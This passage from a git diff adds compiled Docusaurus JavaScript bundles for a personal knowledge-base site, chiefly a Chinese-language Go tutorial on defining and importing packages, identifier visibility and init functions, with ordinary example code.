s=r.p+"assets/images/xshell_ui-41b57690e24a12dac89a2a93d97faea5.png"},52499:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_image-31cd531807cb58edfd129153e725a4fd.png"},56800:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_images-0992316c79988f909f1143d61a003d5f.png"},60678:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_scalar-2160e1879a5b77ec49dfa10a296dc319.png"},62899:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/ssh_tunnel_UI-fbd6efe54583b302cced933c73ea361c.png"},63512:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_image_grid-755a0b360b30bc2429f0bab074d4c6a4.png"},68539:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_model-e9842181d50b387985013682f85f0d50.png"},91094:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_hist-c15e8984d124d3b39c101875fe33b74c.png"}}]); \ No newline at end of file diff --git a/en/assets/js/a30d8662.00d186d1.js b/en/assets/js/a30d8662.00d186d1.js new file mode 100644 index 0000000..c95b9fa --- /dev/null +++ b/en/assets/js/a30d8662.00d186d1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1921],{25670:(n,e,l)=>{l.d(e,{A:()=>d});const d=l.p+"assets/images/module_version_info-4014500eef7f9a67c9c6f97823e41a0e.png"},28453:(n,e,l)=>{l.d(e,{R:()=>o,x:()=>s});var d=l(96540);const i={},c=d.createContext(i);function o(n){const e=d.useContext(c);return d.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function s(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:o(n.components),d.createElement(c.Provider,{value:e},n.children)}},34303:(n,e,l)=>{l.r(e),l.d(e,{assets:()=>r,contentTitle:()=>s,default:()=>t,frontMatter:()=>o,metadata:()=>d,toc:()=>h});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305","title":"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406","description":"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/15.GoLang-\u5305.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/15.GoLang-\u5305.md","tags":[],"version":"current","sidebarPosition":15,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53"},"next":{"title":"\u63a5\u53e3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3"}}');var i=l(74848),c=l(28453);const o={},s="\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406",r={},h=[{value:"\u5305\uff08package\uff09",id:"\u5305package",level:2},{value:"\u5305\u4ecb\u7ecd",id:"\u5305\u4ecb\u7ecd",level:3},{value:"\u5b9a\u4e49\u5305",id:"\u5b9a\u4e49\u5305",level:3},{value:"\u6807\u8bc6\u7b26\u53ef\u89c1\u6027",id:"\u6807\u8bc6\u7b26\u53ef\u89c1\u6027",level:3},{value:"\u5305\u7684\u5f15\u5165",id:"\u5305\u7684\u5f15\u5165",level:3},{value:"init\u521d\u59cb\u5316\u51fd\u6570",id:"init\u521d\u59cb\u5316\u51fd\u6570",level:3},{value:"go module",id:"go-module",level:2},{value:"go module\u4ecb\u7ecd",id:"go-module\u4ecb\u7ecd",level:3},{value:"\u4f7f\u7528go module\u5f15\u5165\u5305",id:"\u4f7f\u7528go-module\u5f15\u5165\u5305",level:3},{value:"\u4f7f\u7528go module\u53d1\u5e03\u5305",id:"\u4f7f\u7528go-module\u53d1\u5e03\u5305",level:3}];function a(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406",children:"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u638c\u63e1\u5305\u7684\u5b9a\u4e49\u548c\u4f7f\u7528"}),"\n",(0,i.jsx)(e.li,{children:"\u638c\u63e1init\u521d\u59cb\u5316\u51fd\u6570\u7684\u4f7f\u7528"}),"\n",(0,i.jsx)(e.li,{children:"\u638c\u63e1\u4f9d\u8d56\u7ba1\u7406\u5de5\u5177go module\u7684\u4f7f\u7528"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u5de5\u7a0b\u5316\u7684Go\u8bed\u8a00\u5f00\u53d1\u9879\u76ee\u4e2d\uff0cGo\u8bed\u8a00\u7684\u6e90\u7801\u590d\u7528\u662f\u5efa\u7acb\u5728\u5305\uff08package\uff09\u57fa\u7840\u4e4b\u4e0a\u7684\u3002\u672c\u6587\u4ecb\u7ecd\u4e86Go\u8bed\u8a00\u4e2d\u5982\u4f55\u5b9a\u4e49\u5305\u3001\u5982\u4f55\u5bfc\u51fa\u5305\u7684\u5185\u5bb9\u53ca\u5982\u4f55\u5f15\u5165\u5176\u4ed6\u5305\u3002\u540c\u65f6\u4e5f\u5c06\u4ecb\u7ecd\u5982\u4f55\u5728\u9879\u76ee\u4e2d\u4f7f\u7528go module\u7ba1\u7406\u4f9d\u8d56\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"\u5305package",children:"\u5305\uff08package\uff09"}),"\n",(0,i.jsx)(e.h3,{id:"\u5305\u4ecb\u7ecd",children:"\u5305\u4ecb\u7ecd"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u652f\u6301\u6a21\u5757\u5316\u7684\u5f00\u53d1\u7406\u5ff5\uff0c\u5728Go\u8bed\u8a00\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"\u5305\uff08package\uff09"}),"\u6765\u652f\u6301\u4ee3\u7801\u6a21\u5757\u5316\u548c\u4ee3\u7801\u590d\u7528\u3002\u4e00\u4e2a\u5305\u662f\u7531\u4e00\u4e2a\u6216\u591a\u4e2aGo\u6e90\u7801\u6587\u4ef6\uff08.go\u7ed3\u5c3e\u7684\u6587\u4ef6\uff09\u7ec4\u6210\uff0c\u662f\u4e00\u79cd\u9ad8\u7ea7\u7684\u4ee3\u7801\u590d\u7528\u65b9\u6848\uff0cGo\u8bed\u8a00\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u5f88\u591a\u5185\u7f6e\u5305\uff0c\u5982",(0,i.jsx)(e.code,{children:"fmt"}),"\u3001",(0,i.jsx)(e.code,{children:"os"}),"\u3001",(0,i.jsx)(e.code,{children:"io"}),"\u7b49\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4f8b\u5982\uff0c\u5728\u4e4b\u524d\u7684\u7ae0\u8282\u4e2d\u6211\u4eec\u9891\u7e41\u4f7f\u7528\u4e86",(0,i.jsx)(e.code,{children:"fmt"}),"\u8fd9\u4e2a\u5185\u7f6e\u5305\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\nfunc main(){\n fmt.Println("Hello world!")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u4e0a\u9762\u77ed\u77ed\u7684\u51e0\u884c\u4ee3\u7801\u5c31\u6d89\u53ca\u5230\u4e86\u5982\u4f55\u5b9a\u4e49\u5305\u4ee5\u53ca\u5982\u4f55\u5f15\u5165\u5176\u5b83\u5305\u4e24\u4e2a\u5185\u5bb9\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u4f9d\u6b21\u4ecb\u7ecd\u4e00\u4e0b\u5b83\u4eec\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u5b9a\u4e49\u5305",children:"\u5b9a\u4e49\u5305"}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u7684\u9700\u8981\u521b\u5efa\u81ea\u5b9a\u4e49\u5305\u3002\u4e00\u4e2a\u5305\u53ef\u4ee5\u7b80\u5355\u7406\u89e3\u4e3a\u4e00\u4e2a\u5b58\u653e",(0,i.jsx)(e.code,{children:".go"}),"\u6587\u4ef6\u7684\u6587\u4ef6\u5939\u3002\u8be5\u6587\u4ef6\u5939\u4e0b\u9762\u7684\u6240\u6709",(0,i.jsx)(e.code,{children:".go"}),"\u6587\u4ef6\u90fd\u8981\u5728\u975e\u6ce8\u91ca\u7684\u7b2c\u4e00\u884c\u6dfb\u52a0\u5982\u4e0b\u58f0\u660e\uff0c\u58f0\u660e\u8be5\u6587\u4ef6\u5f52\u5c5e\u7684\u5305\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"package packagename\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"package\uff1a\u58f0\u660e\u5305\u7684\u5173\u952e\u5b57"}),"\n",(0,i.jsxs)(e.li,{children:["packagename\uff1a\u5305\u540d\uff0c\u53ef\u4ee5\u4e0d\u4e0e\u6587\u4ef6\u5939\u7684\u540d\u79f0\u4e00\u81f4\uff0c\u4e0d\u80fd\u5305\u542b ",(0,i.jsx)(e.code,{children:"-"})," \u7b26\u53f7\uff0c\u6700\u597d\u4e0e\u5176\u5b9e\u73b0\u7684\u529f\u80fd\u76f8\u5bf9\u5e94\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:["\u53e6\u5916\u9700\u8981\u6ce8\u610f\u4e00\u4e2a\u6587\u4ef6\u5939\u4e0b\u9762\u76f4\u63a5\u5305\u542b\u7684\u6587\u4ef6\u53ea\u80fd\u5f52\u5c5e\u4e00\u4e2a\u5305\uff0c\u540c\u4e00\u4e2a\u5305\u7684\u6587\u4ef6\u4e0d\u80fd\u5728\u591a\u4e2a\u6587\u4ef6\u5939\u4e0b\u3002\u5305\u540d\u4e3a",(0,i.jsx)(e.code,{children:"main"}),"\u7684\u5305\u662f\u5e94\u7528\u7a0b\u5e8f\u7684\u5165\u53e3\u5305\uff0c\u8fd9\u79cd\u5305\u7f16\u8bd1\u540e\u4f1a\u5f97\u5230\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u800c\u7f16\u8bd1\u4e0d\u5305\u542b",(0,i.jsx)(e.code,{children:"main"}),"\u5305\u7684\u6e90\u4ee3\u7801\u5219\u4e0d\u4f1a\u5f97\u5230\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u6807\u8bc6\u7b26\u53ef\u89c1\u6027",children:"\u6807\u8bc6\u7b26\u53ef\u89c1\u6027"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u540c\u4e00\u4e2a\u5305\u5185\u90e8\u58f0\u660e\u7684\u6807\u8bc6\u7b26\u90fd\u4f4d\u4e8e\u540c\u4e00\u4e2a\u547d\u540d\u7a7a\u95f4\u4e0b\uff0c\u5728\u4e0d\u540c\u7684\u5305\u5185\u90e8\u58f0\u660e\u7684\u6807\u8bc6\u7b26\u5c31\u5c5e\u4e8e\u4e0d\u540c\u7684\u547d\u540d\u7a7a\u95f4\u3002\u60f3\u8981\u5728\u5305\u7684\u5916\u90e8\u4f7f\u7528\u5305\u5185\u90e8\u7684\u6807\u8bc6\u7b26\u5c31\u9700\u8981\u6dfb\u52a0\u5305\u540d\u524d\u7f00\uff0c\u4f8b\u5982",(0,i.jsx)(e.code,{children:'fmt.Println("Hello world!")'}),"\uff0c\u5c31\u662f\u6307\u8c03\u7528",(0,i.jsx)(e.code,{children:"fmt"}),"\u5305\u4e2d\u7684",(0,i.jsx)(e.code,{children:"Println"}),"\u51fd\u6570\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5982\u679c\u60f3\u8ba9\u4e00\u4e2a\u5305\u4e2d\u7684\u6807\u8bc6\u7b26\uff08\u5982\u53d8\u91cf\u3001\u5e38\u91cf\u3001\u7c7b\u578b\u3001\u51fd\u6570\u7b49\uff09\u80fd\u88ab\u5916\u90e8\u7684\u5305\u4f7f\u7528\uff0c\u90a3\u4e48\u6807\u8bc6\u7b26\u5fc5\u987b\u662f\u5bf9\u5916\u53ef\u89c1\u7684\uff08public\uff09\u3002\u5728Go\u8bed\u8a00\u4e2d\u662f\u901a\u8fc7\u6807\u8bc6\u7b26\u7684\u9996\u5b57\u6bcd\u5927/\u5c0f\u5199\u6765\u63a7\u5236\u6807\u8bc6\u7b26\u7684\u5bf9\u5916\u53ef\u89c1\uff08public\uff09/\u4e0d\u53ef\u89c1\uff08private\uff09\u7684\u3002\u5728\u4e00\u4e2a\u5305\u5185\u90e8\u53ea\u6709\u9996\u5b57\u6bcd\u5927\u5199\u7684\u6807\u8bc6\u7b26\u624d\u662f\u5bf9\u5916\u53ef\u89c1\u7684\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f8b\u5982\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"demo"}),"\u7684\u5305\uff0c\u5728\u5176\u4e2d\u5b9a\u4e49\u4e86\u82e5\u5e72\u6807\u8bc6\u7b26\u3002\u5728\u53e6\u5916\u4e00\u4e2a\u5305\u4e2d\u5e76\u4e0d\u662f\u6240\u6709\u7684\u6807\u8bc6\u7b26\u90fd\u80fd\u901a\u8fc7",(0,i.jsx)(e.code,{children:"demo."}),"\u524d\u7f00\u8bbf\u95ee\u5230\uff0c\u56e0\u4e3a\u53ea\u6709\u90a3\u4e9b\u9996\u5b57\u6bcd\u662f\u5927\u5199\u7684\u6807\u8bc6\u7b26\u624d\u662f\u5bf9\u5916\u53ef\u89c1\u7684\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package demo\n\nimport "fmt"\n\n// \u5305\u7ea7\u522b\u6807\u8bc6\u7b26\u7684\u53ef\u89c1\u6027\n\n// num \u5b9a\u4e49\u4e00\u4e2a\u5168\u5c40\u6574\u578b\u53d8\u91cf\n// \u9996\u5b57\u6bcd\u5c0f\u5199\uff0c\u5bf9\u5916\u4e0d\u53ef\u89c1(\u53ea\u80fd\u5728\u5f53\u524d\u5305\u5185\u4f7f\u7528)\nvar num = 100\n\n// Mode \u5b9a\u4e49\u4e00\u4e2a\u5e38\u91cf\n// \u9996\u5b57\u6bcd\u5927\u5199\uff0c\u5bf9\u5916\u53ef\u89c1(\u53ef\u5728\u5176\u5b83\u5305\u4e2d\u4f7f\u7528)\nconst Mode = 1\n\n// person \u5b9a\u4e49\u4e00\u4e2a\u4ee3\u8868\u4eba\u7684\u7ed3\u6784\u4f53\n// \u9996\u5b57\u6bcd\u5c0f\u5199\uff0c\u5bf9\u5916\u4e0d\u53ef\u89c1(\u53ea\u80fd\u5728\u5f53\u524d\u5305\u5185\u4f7f\u7528)\ntype person struct {\n\tname string\n\tAge int\n}\n\n// Add \u8fd4\u56de\u4e24\u4e2a\u6574\u6570\u548c\u7684\u51fd\u6570\n// \u9996\u5b57\u6bcd\u5927\u5199\uff0c\u5bf9\u5916\u53ef\u89c1(\u53ef\u5728\u5176\u5b83\u5305\u4e2d\u4f7f\u7528)\nfunc Add(x, y int) int {\n\treturn x + y\n}\n\n// sayHi \u6253\u62db\u547c\u7684\u51fd\u6570\n// \u9996\u5b57\u6bcd\u5c0f\u5199\uff0c\u5bf9\u5916\u4e0d\u53ef\u89c1(\u53ea\u80fd\u5728\u5f53\u524d\u5305\u5185\u4f7f\u7528)\nfunc sayHi() {\n\tvar myName = "\u4e03\u7c73" // \u51fd\u6570\u5c40\u90e8\u53d8\u91cf\uff0c\u53ea\u80fd\u5728\u5f53\u524d\u51fd\u6570\u5185\u4f7f\u7528\n\tfmt.Println(myName)\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u540c\u6837\u7684\u89c4\u5219\u4e5f\u9002\u7528\u4e8e\u7ed3\u6784\u4f53\uff0c\u7ed3\u6784\u4f53\u4e2d\u53ef\u5bfc\u51fa\u5b57\u6bb5\u7684\u5b57\u6bb5\u540d\u79f0\u5fc5\u987b\u9996\u5b57\u6bcd\u5927\u5199\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"type Student struct {\n\tName string // \u53ef\u5728\u5305\u5916\u8bbf\u95ee\u7684\u65b9\u6cd5\n\tclass string // \u4ec5\u9650\u5305\u5185\u8bbf\u95ee\u7684\u5b57\u6bb5\n}\n"})}),"\n",(0,i.jsx)(e.h3,{id:"\u5305\u7684\u5f15\u5165",children:"\u5305\u7684\u5f15\u5165"}),"\n",(0,i.jsxs)(e.p,{children:["\u8981\u5728\u5f53\u524d\u5305\u4e2d\u4f7f\u7528\u53e6\u5916\u4e00\u4e2a\u5305\u7684\u5185\u5bb9\u5c31\u9700\u8981\u4f7f\u7528",(0,i.jsx)(e.code,{children:"import"}),"\u5173\u952e\u5b57\u5f15\u5165\u8fd9\u4e2a\u5305\uff0c\u5e76\u4e14import\u8bed\u53e5\u901a\u5e38\u653e\u5728\u6587\u4ef6\u7684\u5f00\u5934\uff0c",(0,i.jsx)(e.code,{children:"package"}),"\u58f0\u660e\u8bed\u53e5\u7684\u4e0b\u65b9\u3002\u5b8c\u6574\u7684\u5f15\u5165\u58f0\u660e\u8bed\u53e5\u683c\u5f0f\u5982\u4e0b:"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import importname "path/to/package"\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"importname\uff1a\u5f15\u5165\u7684\u5305\u540d\uff0c\u901a\u5e38\u90fd\u7701\u7565\u3002\u9ed8\u8ba4\u503c\u4e3a\u5f15\u5165\u5305\u7684\u5305\u540d\u3002"}),"\n",(0,i.jsx)(e.li,{children:"path/to/package\uff1a\u5f15\u5165\u5305\u7684\u8def\u5f84\u540d\u79f0\uff0c\u5fc5\u987b\u4f7f\u7528\u53cc\u5f15\u53f7\u5305\u88f9\u8d77\u6765\u3002"}),"\n",(0,i.jsx)(e.li,{children:"Go\u8bed\u8a00\u4e2d\u7981\u6b62\u5faa\u73af\u5bfc\u5165\u5305\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u4e2aGo\u6e90\u7801\u6587\u4ef6\u4e2d\u53ef\u4ee5\u540c\u65f6\u5f15\u5165\u591a\u4e2a\u5305\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import "fmt"\nimport "net/http"\nimport "os"\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u7136\u53ef\u4ee5\u4f7f\u7528\u6279\u91cf\u5f15\u5165\u7684\u65b9\u5f0f\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import (\n "fmt"\n \t"net/http"\n "os"\n)\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u5f53\u5f15\u5165\u7684\u591a\u4e2a\u5305\u4e2d\u5b58\u5728\u76f8\u540c\u7684\u5305\u540d\u6216\u8005\u60f3\u81ea\u884c\u4e3a\u67d0\u4e2a\u5f15\u5165\u7684\u5305\u8bbe\u7f6e\u4e00\u4e2a\u65b0\u5305\u540d\u65f6\uff0c\u90fd\u9700\u8981\u901a\u8fc7",(0,i.jsx)(e.code,{children:"importname"}),"\u6307\u5b9a\u4e00\u4e2a\u5728\u5f53\u524d\u6587\u4ef6\u4e2d\u4f7f\u7528\u7684\u65b0\u5305\u540d\u3002\u4f8b\u5982\uff0c\u5728\u5f15\u5165",(0,i.jsx)(e.code,{children:"fmt"}),"\u5305\u65f6\u4e3a\u5176\u6307\u5b9a\u4e00\u4e2a\u65b0\u5305\u540d",(0,i.jsx)(e.code,{children:"f"}),"\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import f "fmt"\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u5728\u5f53\u524d\u8fd9\u4e2a\u6587\u4ef6\u4e2d\u5c31\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528",(0,i.jsx)(e.code,{children:"f"}),"\u6765\u8c03\u7528",(0,i.jsx)(e.code,{children:"fmt"}),"\u5305\u4e2d\u7684\u51fd\u6570\u4e86\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'f.Println("Hello world!")\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u5f15\u5165\u4e00\u4e2a\u5305\u7684\u65f6\u5019\u4e3a\u5176\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u7279\u6b8a",(0,i.jsx)(e.code,{children:"_"}),"\u4f5c\u4e3a\u5305\u540d\uff0c\u90a3\u4e48\u8fd9\u4e2a\u5305\u7684\u5f15\u5165\u65b9\u5f0f\u5c31\u79f0\u4e3a\u533f\u540d\u5f15\u5165\u3002\u4e00\u4e2a\u5305\u88ab\u533f\u540d\u5f15\u5165\u7684\u76ee\u7684\u4e3b\u8981\u662f\u4e3a\u4e86\u52a0\u8f7d\u8fd9\u4e2a\u5305\uff0c\u4ece\u800c\u4f7f\u5f97\u8fd9\u4e2a\u5305\u4e2d\u7684\u8d44\u6e90\u5f97\u4ee5\u521d\u59cb\u5316\u3002 \u88ab\u533f\u540d\u5f15\u5165\u7684\u5305\u4e2d\u7684",(0,i.jsx)(e.code,{children:"init"}),"\u51fd\u6570\u5c06\u88ab\u6267\u884c\u5e76\u4e14\u4ec5\u6267\u884c\u4e00\u904d\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import _ "github.com/go-sql-driver/mysql"\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u533f\u540d\u5f15\u5165\u7684\u5305\u4e0e\u5176\u4ed6\u65b9\u5f0f\u5bfc\u5165\u7684\u5305\u4e00\u6837\u90fd\u4f1a\u88ab\u7f16\u8bd1\u5230\u53ef\u6267\u884c\u6587\u4ef6\u4e2d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cGo\u8bed\u8a00\u4e2d\u4e0d\u5141\u8bb8\u5f15\u5165\u5305\u5374\u4e0d\u5728\u4ee3\u7801\u4e2d\u4f7f\u7528\u8fd9\u4e2a\u5305\u7684\u5185\u5bb9\uff0c\u5982\u679c\u5f15\u5165\u4e86\u672a\u4f7f\u7528\u7684\u5305\u5219\u4f1a\u89e6\u53d1\u7f16\u8bd1\u9519\u8bef\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"init\u521d\u59cb\u5316\u51fd\u6570",children:"init\u521d\u59cb\u5316\u51fd\u6570"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u6bcf\u4e00\u4e2aGo\u6e90\u6587\u4ef6\u4e2d\uff0c\u90fd\u53ef\u4ee5\u5b9a\u4e49\u4efb\u610f\u4e2a\u5982\u4e0b\u683c\u5f0f\u7684\u7279\u6b8a\u51fd\u6570\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func init(){\n // ...\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u79cd\u7279\u6b8a\u7684\u51fd\u6570\u4e0d\u63a5\u6536\u4efb\u4f55\u53c2\u6570\u4e5f\u6ca1\u6709\u4efb\u4f55\u8fd4\u56de\u503c\uff0c\u6211\u4eec\u4e5f\u4e0d\u80fd\u5728\u4ee3\u7801\u4e2d\u4e3b\u52a8\u8c03\u7528\u5b83\u3002\u5f53\u7a0b\u5e8f\u542f\u52a8\u7684\u65f6\u5019\uff0cinit\u51fd\u6570\u4f1a\u6309\u7167\u5b83\u4eec\u58f0\u660e\u7684\u987a\u5e8f\u81ea\u52a8\u6267\u884c\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e00\u4e2a\u5305\u7684\u521d\u59cb\u5316\u8fc7\u7a0b\u662f\u6309\u7167\u4ee3\u7801\u4e2d\u5f15\u5165\u7684\u987a\u5e8f\u6765\u8fdb\u884c\u7684\uff0c\u6240\u6709\u5728\u8be5\u5305\u4e2d\u58f0\u660e\u7684",(0,i.jsx)(e.code,{children:"init"}),"\u51fd\u6570\u90fd\u5c06\u88ab\u4e32\u884c\u8c03\u7528\u5e76\u4e14\u4ec5\u8c03\u7528\u6267\u884c\u4e00\u6b21\u3002\u6bcf\u4e00\u4e2a\u5305\u521d\u59cb\u5316\u7684\u65f6\u5019\u90fd\u662f\u5148\u6267\u884c\u4f9d\u8d56\u7684\u5305\u4e2d\u58f0\u660e\u7684",(0,i.jsx)(e.code,{children:"init"}),"\u51fd\u6570\u518d\u6267\u884c\u5f53\u524d\u5305\u4e2d\u58f0\u660e\u7684",(0,i.jsx)(e.code,{children:"init"}),"\u51fd\u6570\u3002\u786e\u4fdd\u5728\u7a0b\u5e8f\u7684",(0,i.jsx)(e.code,{children:"main"}),"\u51fd\u6570\u5f00\u59cb\u6267\u884c\u65f6\u6240\u6709\u7684\u4f9d\u8d56\u5305\u90fd\u5df2\u521d\u59cb\u5316\u5b8c\u6210\u3002",(0,i.jsx)(e.img,{src:"https://www.liwenzhou.com/images/Go/package/package01.png",alt:"\u5305\u521d\u59cb\u5316\u51fd\u6570\u6267\u884c\u987a\u5e8f\u793a\u610f\u56fe"})]}),"\n",(0,i.jsxs)(e.p,{children:["\u6bcf\u4e00\u4e2a\u5305\u7684\u521d\u59cb\u5316\u662f\u5148\u4ece\u521d\u59cb\u5316\u5305\u7ea7\u522b\u53d8\u91cf\u5f00\u59cb\u7684\u3002\u4f8b\u5982\u4ece\u4e0b\u9762\u7684\u793a\u4f8b\u4e2d\u6211\u4eec\u5c31\u53ef\u4ee5\u770b\u51fa\u5305\u7ea7\u522b\u53d8\u91cf\u7684\u521d\u59cb\u5316\u4f1a\u5148\u4e8e",(0,i.jsx)(e.code,{children:"init"}),"\u521d\u59cb\u5316\u51fd\u6570\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\nvar x int8 = 10\n\nconst pi = 3.14\n\nfunc init() {\n fmt.Println("x:", x)\n fmt.Println("pi:", pi)\n sayHi()\n}\n\nfunc sayHi() {\n\tfmt.Println("Hello World!")\n}\n\nfunc main() {\n\tfmt.Println("\u4f60\u597d\uff0c\u4e16\u754c\uff01")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"x: 10\npi: 3.14\nHello 